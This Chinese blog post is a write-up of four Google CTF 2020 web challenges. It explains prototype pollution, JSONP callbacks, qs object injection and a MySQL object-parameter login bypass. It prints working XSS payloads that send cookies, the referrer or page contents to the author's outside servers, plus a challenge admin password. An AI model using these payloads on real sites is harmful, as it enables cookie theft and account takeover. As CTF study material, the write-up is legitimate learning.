Author:颖奇L’Amore Blog:www.gem-love.com JS大赛 我好爱 如果不和强网杯冲突就更好了
All The Little Things
I left a little secret in a note, but it’s private, private is safe.
Note: TJMike🎤 from Pasteurize is also logged into the page.
https://littlethings.web.ctfcompetition.com
题目是个note,另外还加了一些用户自己的profile,以及可以切换主题light和dark
settings:
还有CSP:
在HTML源码中注意到有一个注释,开启后则多出来一个debug的div
然后因为这是个JS题,来一个一个看下JS文件。 static/scripts/utils.js
:
// make sure that variable is undefined function is_undefined(x ) { return typeof x === "undefined" && x == undefined } window .addEventListener('DOMContentLoaded' , ()=>{ fetch( '/me' ).then( e => e.json( )).then( make_user_object); })
fetch
这个/me
的路由可以得到个人信息,像这样:
{“username”:”Y1ng”,”img”:”/static/images/anonymous.png”,”theme”:{“cb”:”set_light_theme”,”options”:{},”choice”:1}}
注意到then(make_user_object)
,那么我们跟进/static/scripts/user.js:
class User { #username; #theme; #img constructor (username, img, theme ) { this .#username = username this .#theme = theme this .#img = img } get username () { return this .#username } get img () { return this .#img } get theme () { return this .#theme } toString ( ) { return `user_${this .#username} ` } } function make_user_object (obj ) { const user = new User(obj.username, obj.img, obj.theme); window .load_debug?.(user); if (!is_undefined(document [user.toString()])) { return false ; } document .getElementById('profile-picture' ).src=user.img; window .USERNAME = user.toString(); document [window .USERNAME] = user; update_theme(); }
首先他有一个User
类,可以看到这个类下全部都是私有属性并且是没有set
的,另外toString()
会返回username
。之后就是make_user_object
函数,如果设置了debug
就会调用load_debug
,后面还会update_theme()
。我们先跟进这个update_theme()
看下:
function set_dark_theme (obj ) { const theme_url = "/static/styles/bootstrap_dark.css" ; document .querySelector('#bootstrap-link' ).href = theme_url; localStorage ['theme' ] = theme_url; } function set_light_theme (obj ) { theme_url = "/static/styles/bootstrap.css" ; document .querySelector('#bootstrap-link' ).href = theme_url; localStorage ['theme' ] = theme_url; } function update_theme ( ) { const theme = document [USERNAME].theme; const s = document .createElement('script' ); s.src = `/theme?cb=${theme.cb} ` ; document .head.appendChild(s); } document .querySelector('#bootstrap-link' ).href = localStorage ['theme' ];
这个update_theme()
实际上就是<script src=`/theme?cb=${theme.cb}`>
,测试发现想要设置dark主题调用set_dark_theme()
那么实际上就是一个script
标签引用到/theme?cb=set_dark_theme
上去,那么这里很明显cb
参数后面加了什么就会call什么函数:
现在回头去看load_debug()
,在static/scripts/debug.js下:
function load_debug(user ) { let debug; try { debug = JSON . parse(window.name); } catch (e) { return; } if (debug instanceof Object) { Object . assign(user, debug); } if (user.verbose){ console.log(user); } if (user.showAll){ document.querySelectorAll('* ') .for Each(e =>e .classList .add ('display -block ') ); } if (user.keepDebug){ document.querySelectorAll('a ') .for Each(e =>e .href =append_debug (e .href ) ); }else { document.querySelectorAll('a ') .for Each(e =>e .href =remove_debug (e .href ) ); } window.onerror = e => alert(e); } function append_debug(u ) { const url = new URL(u ) ; url.searchParams.append('__debug__', 1 ); return url.href; } function remove_debug(u ) { const url = new URL(u ) ; url.searchParams.delete('__debug__'); return url.href; }
有一个非常非常显眼的东西:Object.assign(user, debug)
,而debug就是window.name
的json。Object.assign()
和lodash
的merge()
基本一样(区别在于一个是浅拷贝一个是深拷贝),经典的原型链污染,所以我们只要控制了window.name
就能污染user
对象了。 theme.cb
是会被call的函数,而刚刚说了,User
类下全是私有属性并且没有setter
,那么我们不能直接控制theme.cb
:
但是通过assign()
污染__proto__
之后就可以绕过这个限制了:
可以看到现在取出来user
对象的theme
已经是{cb: "alert"}
了,通过原型链污染我们控制了调用的函数。 然而本题目还有CSP,很多js是不能执行的。想要绕过这个CSP可以选择使用iframe
,在iframe
下利用scrip src
调用theme?cb=
来callback,这是完全可行的,并且iframe
里也可以获取到主窗口下的内容,很多CSRF题目都是这个做题套路,类似这样:
{ "__proto__" :{}, "theme" :{ "cb" :"document.body.innerHTML=window.name.toString" }, "htmlGoesHere" : "<iframe srcdoc='<script src=/theme?cb=window.top.document.body.innerHTML=window.top.location.search.toString></script>'>" }
那么做到现在,我们甚至都还不知道这题要得到什么,注意到题目描述说用Pasteurize的xss bot,那么我们可以用那个题的xss方法来进行xss(请看后文)。可是,需要xss打什么?打cookie吗?cookie是HTTP-Only的也没法用 实际上,我们需要得到管理员账户一个私有的note,我们可以构造xss去得到那个bot的note页面并leak到我们的服务器上。至于如何设置我们自己的服务器地址可以先创建标签然后用innerText
取出来
{ "__proto__" :{}, "theme" :{ "cb" :"document.body.firstElementChild.innerHTML=window.name.toString" }, "payload" :[ "<form id='concat'>https://your_server/?<div></div></form>" , "<iframe srcdoc='<script src=/theme?cb=window.top.concat.firstElementChild.innerText=window.top.document.body.innerText.toString></script>'></iframe>" , "<iframe srcdoc='<script src=/theme?cb=window.top.location.href=window.top.concat.innerText.toString></script>'></iframe>" ] }
转base64然后eval()
来执行,用pasteurize的方法让bot执行,这里有个小trick,通过判断UA来控制window.location
,我当时做pasteurize时候没有想到。另外不要忘了urlencode,因为+会被解析成空格
控制台调一下,此时已经执行成功了:
不过samurai这个通过UA判断是否跳转的套路我没成功,最后还是直接用了location.href
跳转,于是我们得到了管理员的note的地址
下一步只要去得到note下有什么就好了,直接修改跳转的地址为这个note的地址其他都不需要改
location .href=\`https://littlethings.web.ctfcompetition.com/note/22 f23 db6 -a432 -408 b-a3 e9 -40 fe258 d500 f?\_\_debug\_\_
得到flag:
这个题目还是很有难度的,自己没有做出来,赛后看了三份Writeup,最后选择了Samurai 的方法。tyage 的方法也很好,Exp here
pasteurize
This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?
https://pasteurize.web.ctfcompetition.com/
在/source得到源码:
const express = require ('express' );const bodyParser = require ('body-parser' );const utils = require ('./utils' );const Recaptcha = require ('express-recaptcha' ).RecaptchaV3;const uuidv4 = require ('uuid' ).v4;const Datastore = require ('@google-cloud/datastore' ).Datastore;const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY 'site-key' ;const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY 'secret-key' ;console .log("Captcha(%s, %s)" , CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, { 'hl' : 'en' , callback : 'captcha_cb' }); const app = express();app.set('view engine' , 'ejs' ); app.set('strict routing' , true ); app.use(utils.domains_mw); app.use('/static' , express.static('static' , { etag : true , maxAge : 300 * 1000 , })); app.use(bodyParser.urlencoded({ extended : true })); class Database { constructor ( ) { this ._db = new Datastore({ namespace : 'littlethings' }); } add_note (note_id, content ) { const note = { note_id : note_id, owner : 'guest' , content : content, public : 1 , created : Date .now() } return this ._db.save({ key : this ._db.key(['Note' , note_id]), data : note, excludeFromIndexes : ['content' ] }); } async get_note (note_id ) { const key = this ._db.key(['Note' , note_id]); let note; try { note = await this ._db.get(key); } catch (e) { console .error(e); return null ; } if (!note note.length < 1 ) { return null ; } note = note[0 ]; if (note === undefined note.public !== 1 ) { return null ; } return note; } } const DB = new Database();const escape_string = unsafe => JSON .stringify(unsafe).slice(1 , -1 ) .replace(/</g , '\\x3C' ).replace(/>/g , '\\x3E' ); app.get('/' , (req, res ) => { res.render('index' ); }); app.post('/' , async (req, res) => { const note = req.body.content; if (!note) { return res.status(500 ).send("Nothing to add" ); } if (note.length > 2000 ) { res.status(500 ); return res.send("The note is too big" ); } const note_id = uuidv4(); try { const result = await DB.add_note(note_id, note); if (!result) { res.status(500 ); console .error(result); return res.send("Something went wrong..." ); } } catch (err) { res.status(500 ); console .error(err); return res.send("Something went wrong..." ); } await utils.sleep(500 ); return res.redirect(`/${note_id} ` ); }); app.get('/:id([a-f0-9\-]{36})' , recaptcha.middleware.render, utils.cache_mw, async (req, res) => { const note_id = req.params.id; const note = await DB.get_note(note_id); if (note == null ) { return res.status(404 ).send("Paste not found or access has been denied." ); } const unsafe_content = note.content; const safe_content = escape_string(unsafe_content); res.render('note_public' , { content : safe_content, id : note_id, captcha : res.recaptcha }); }); app.post('/report/:id([a-f0-9\-]{36})' , recaptcha.middleware.verify, (req, res ) => { const id = req.params.id; if (req.recaptcha.error) { console .error(req.recaptcha.error); return res.redirect(`/${id} ?msg=Something+wrong+with+Captcha+:(` ); } utils.visit(id, req); res.redirect(`/${id} ?msg=TJMike🎤+will+appreciate+your+paste+shortly.` ); }); app.get('/source' , (req, res ) => { res.set("Content-type" , "text/plain; charset=utf-8" ); res.sendFile(__filename); }); const PORT = process.env.PORT 8080 ;app.listen(PORT, () => { console .log(`App listening on port ${PORT} ` ); console .log('Press Ctrl+C to quit.' ); }); module .exports = app;
代码比较简单就不多说了。主要是个pasteboard,然后有一些过滤,可以把输入的内容给管理员看,典型的xss题目。 首先来看下escape_string
函数:
const escape_string = unsafe => JSON .stringify(unsafe).slice(1 , -1 ) .replace(/</g , '\\x3C' ).replace(/>/g , '\\x3E' );
这里主要是JSON转字符串之后剥去了收尾各一个字符,之后再进行一个字符替换。 然后会把经过escape_string()
处理的字符串渲染进模板,我们随便提交点东西看看模板里有什么:
这里可以看到,const note
就是我们渲染进去的内容,然后经过了DOMPurify.sanitize()
处理再显示出来,DOMPurify.sanitize()
会剥去标签的事件等可以触发XSS的东西
查资料发现曾经的版本可以用突变XSS (mXSS)来绕过DOMPurify,然而已经在后续的版本更新了,本题使用的Purify.js 是新版本,不存在这个bypass漏洞。 另外我们输入的东西会被显示在<div></div>
里,因为后端的esacpe_string()
又过滤了<
和>
就更不能xss了
如果DOMPurify
不存在漏洞,那就只能去bypass后端escape_string()
了。 自己再本地调了一下,发现这个JSON.stringify()
很多余,既然note是个字符串,为啥要转成JSON,于是我想尝试提交一个对象,可惜服务端没有支持application/json
,不过可以注意到题目使用了qs
模块:
app.use (bodyParser.urlencoded({ extended: true }));
没用过qs.parse()
也没关系,npm 查一下就知道了,qs.parse()
允许我们通过URLENCODED实现JSON一样的功能,即提交嵌套对象。
assert .deepEqual(qs .parse ('foo [bar ]=baz ') , { foo: { bar: 'baz' } });
继续本地测试:
正常情况下提交content就是什么就输出什么,因为slice(1,-1)
脱去了分号;如果是利用qs.parse()
提交对象就不一样了,此时经过JSON.stringify()
得到的字符串再slice(1,-1)
切片脱去的就不再是引号而是两侧的大括号了,因为此时的content
不再是字符串而是对象
这实际上非常有用,它被渲染进了模板,然后DOMPurify对它不会做任何处理,所以是直接输出的。我们可以清楚看到,因为DOMPurify对其没有任何操作,它会被原封不动输出,而引号没有被转义就可以用来构造闭合进而进行JS注入
进行如下Post提交:
content[;alert(1)//]=Y1ng_test
得到:
const note = “”;alert(1)//“:”Y1ng_test””;
弹窗成功:
这就简单了,只要在这里构造xss payload就可以了。在属性名上构造比较不方便,继续构造一个闭合然后把主要payload写在等号的右边
content\[;Y1ng =\]=;window.location =\`http://y1ng.vip:12358/?q=${document.cookie}\`;//
效果为:
const note = "" ;Y1 ng=":" ;window.location=\`http://y1 ng.vip:12358 /?q=${document.cookie} \`;//"" ;
用window.open()
的话bot
好像解析不了,然后换了window.location
,但是问题在于自己的网页也会重定向,必须要快一点把重定向取消然后点击那个提交,服务器上收到flag:
当然除了window.location
这种拼手速的payload,还有其他很多方法带出flag,只要学过js就肯定有办法,比如:
content\[;Y1ng=\]=;var img = document .createElement('img' );img.src = \`http://gem-love.com:12345/?q=${document .cookie} \`;document.body.appendChild(img);//
LOG-ME-IN
Log in to get the flag
⇥Attachment
https://log-me-in.web.ctfcompetition.com/
给了node源码,重点在login路由:
app.post('/login' , (req, res ) => { const u = req.body['username' ]; const p = req.body['password' ]; const con = DBCon(); const sql = 'Select * from users where username = ? and password = ?' ; con.query(sql, [u, p], function (err, qResult ) { if (err) { res.render('login' , {error : `Unknown error: ${err} ` }); } else if (qResult.length) { const username = qResult[0 ]['username' ]; let flag; if (username.toLowerCase() == targetUser) { flag = flagValue } else { flag = "<span class=text-danger>Only Michelle's account has the flag</span>" ; } req.session.username = username req.session.flag = flag res.redirect('/me' ); } else { res.render('login' , {error : "Invalid username or password" }) } }); });
需要登录为const targetUser = "michelle"
,然而并不知道它的密码,而且这里也不能注入,所以我们要想办法构造一个万能密码。 注意到和上一题一样,也是使用qs.query()
处理传参:
app.use (bodyParser.urlencoded({ extended: true }))
那么我们可以故技重施,提交一个对象,来看看如果mysql.query()
传参为对象会变成什么。根据官方文档 :
Objects are turned into key = 'val ' pairs for each enumerable property on the object. If the property 's value is a function , it is skipped; if the property 's value is an object, toString() is called on it and the returned value is used.
我们可以自己本地试一下:
注意到他是直接转化为 `key` = val
的形式了,而mysql中反引号内为column name,只需要让其为`password`
,这样password = `password` = 1
就可以返回True了,进而登陆成功 提交:
username =michelle&password\[password\]=1
TECH SUPPORT
Try chatting with tech support about getting a flag. Note: We have received multiple reports of exploits not working remotely, but we triple checked and concluded that the bot is working properly.
https://typeselfsub.web.ctfcompetition.com/
在chat下,我尝试了alert()
没生效,尝试XMLHttpRequest
去访问我的vps也没生效,但是直接引用是可以访问得到的
然而注意到这个chat是一个iframe
,并且域名不一样,这意味着有CORS
问题,直接去fetch
flag肯定是不行了。 xss题有个套路,如果是需要打bot的cookie的,那么bot一般会去请求一个api来获取到cookie再去访问用户提交的url,很多人都这么出题,而我们可以通过document.referrer打到那个秘密接口,xss打到:
https://typeselfsub.web.ctfcompetition.com/asofdiyboxzdfasdfyryryryccc?username=mike&password=j9as7ya7a3636ncvx&reason=%3Cimg%20src%3DX%20onerror%3Deval(atob(%22d2luZG93LmxvY2F0aW9uLmhyZWY9Imh0dHBzOi8vZW5hcHF1eGE4M2FvNy54LnBpcGVkcmVhbS5uZXQvP3E9IitidG9hKGRvY3VtZW50LnJlZmVycmVyKTs%3D%22))%3E
这就是它用来登录管理员并获取管理员cookie的接口,我们也访问就可以称为管理员了,然后/flag拿flag。不过这种解法一般都是非预期。看了下ctftime,预期解比较复杂,是CSRF,和ByteBanditsCTF 2020的note有点像。